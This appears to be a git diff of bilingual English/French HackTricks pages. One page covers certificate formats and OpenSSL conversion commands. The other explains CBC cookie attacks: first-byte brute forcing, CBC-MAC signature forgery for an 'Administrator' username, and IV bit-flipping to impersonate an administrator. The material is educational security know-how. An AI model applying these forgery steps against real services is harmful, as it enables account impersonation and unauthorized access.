Pour explorer les journaux de transparence des certificats pour un domaine quelconque, visitez [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
Différents formats existent pour stocker des certificats, chacun ayant ses propres cas d'utilisation et compatibilité. Ce résumé couvre les principaux formats et fournit des conseils sur la conversion entre eux.
## **Formats**
### **PEM Format**
### **Format PEM**
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
- Format le plus largement utilisé pour les certificats.
- Nécessite des fichiers séparés pour les certificats et les clés privées, encodés en Base64 ASCII.
- Extensions courantes : .cer, .crt, .pem, .key.
- Principalement utilisé par Apache et des serveurs similaires.
### **DER Format**
### **Format DER**
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
- Un format binaire de certificats.
- Manque les déclarations "BEGIN/END CERTIFICATE" trouvées dans les fichiers PEM.
- Extensions courantes : .cer, .der.
- Souvent utilisé avec des plateformes Java.
### **P7B/PKCS#7 Format**
### **Format P7B/PKCS#7**
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
- Stocké en Base64 ASCII, avec les extensions .p7b ou .p7c.
- Contient uniquement des certificats et des certificats de chaîne, excluant la clé privée.
- Pris en charge par Microsoft Windows et Java Tomcat.
### **PFX/P12/PKCS#12 Format**
### **Format PFX/P12/PKCS#12**
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
- Un format binaire qui encapsule les certificats de serveur, les certificats intermédiaires et les clés privées dans un seul fichier.
- Extensions : .pfx, .p12.
- Principalement utilisé sur Windows pour l'importation et l'exportation de certificats.
### **Converting Formats**
### **Conversion de formats**
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
**Les conversions PEM** sont essentielles pour la compatibilité :
- **x509 à PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM à DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
- **DER à PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM à P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7 à PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Les conversions PFX** sont cruciales pour la gestion des certificats sur Windows :
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX à PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX à PKCS#8** implique deux étapes :
1. Convertir PFX en PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. Convertir PEM en PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B à PFX** nécessite également deux commandes :
1. Convertir P7B en CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. Convertir CER et clé privée en PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
---
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
Si le **cookie** est **uniquement** le **nom d'utilisateur** (ou si la première partie du cookie est le nom d'utilisateur) et que vous souhaitez usurper le nom d'utilisateur "**admin**". Alors, vous pouvez créer le nom d'utilisateur **"bdmin"** et **bruteforcer** le **premier octet** du cookie.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
**Code d'authentification de message par chaîne de blocs chiffrés** (**CBC-MAC**) est une méthode utilisée en cryptographie. Elle fonctionne en prenant un message et en l'encryptant bloc par bloc, où l'encryption de chaque bloc est liée à celle du bloc précédent. Ce processus crée une **chaîne de blocs**, garantissant que changer même un seul bit du message original entraînera un changement imprévisible dans le dernier bloc de données chiffrées. Pour effectuer ou inverser un tel changement, la clé de chiffrement est requise, assurant la sécurité.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
Pour calculer le CBC-MAC du message m, on chiffre m en mode CBC avec un vecteur d'initialisation nul et on conserve le dernier bloc. La figure suivante esquisse le calcul du CBC-MAC d'un message composé de blocs ![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) en utilisant une clé secrète k et un chiffre par blocs E :
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
# Vulnérabilité
With CBC-MAC usually the **IV used is 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
Avec CBC-MAC, généralement le **IV utilisé est 0**.\
C'est un problème car 2 messages connus (`m1` et `m2`) généreront indépendamment 2 signatures (`s1` et `s2`). Donc :
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
Ensuite, un message composé de m1 et m2 concaténés (m3) générera 2 signatures (s31 et s32) :
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.**
**Ce qui est possible à calculer sans connaître la clé de chiffrement.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
Imaginez que vous chiffrez le nom **Administrator** en blocs de **8 octets** :
- `Administ`
- `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
now, you can use s32 as the signature of the full name **Administrator**.
Vous pouvez créer un nom d'utilisateur appelé **Administ** (m1) et récupérer la signature (s1).\
Ensuite, vous pouvez créer un nom d'utilisateur appelé le résultat de `rator\00\00\00 XOR s1`. Cela générera `E(m2 XOR s1 XOR 0)` qui est s32.\
Maintenant, vous pouvez utiliser s32 comme la signature du nom complet **Administrator**.
### Summary
### Résumé
1. Get the signature of username **Administ** (m1) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
1. Obtenez la signature du nom d'utilisateur **Administ** (m1) qui est s1
2. Obtenez la signature du nom d'utilisateur **rator\x00\x00\x00 XOR s1 XOR 0** qui est s32**.**
3. Définissez le cookie sur s32 et ce sera un cookie valide pour l'utilisateur **Administrator**.
# Attack Controlling IV
# Attaque Contrôlant IV
If you can control the used IV the attack could be very easy.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
Si vous pouvez contrôler l'IV utilisé, l'attaque pourrait être très facile.\
Si le cookie est juste le nom d'utilisateur chiffré, pour usurper l'utilisateur "**administrator**", vous pouvez créer l'utilisateur "**Administrator**" et vous obtiendrez son cookie.\
Maintenant, si vous pouvez contrôler l'IV, vous pouvez changer le premier octet de l'IV de sorte que **IV\[0] XOR "A" == IV'\[0] XOR "a"** et régénérer le cookie pour l'utilisateur **Administrator.** Ce cookie sera valide pour **usurper** l'utilisateur **administrator** avec l'**IV** initial.
## References
## Références
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
Plus d'informations sur [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More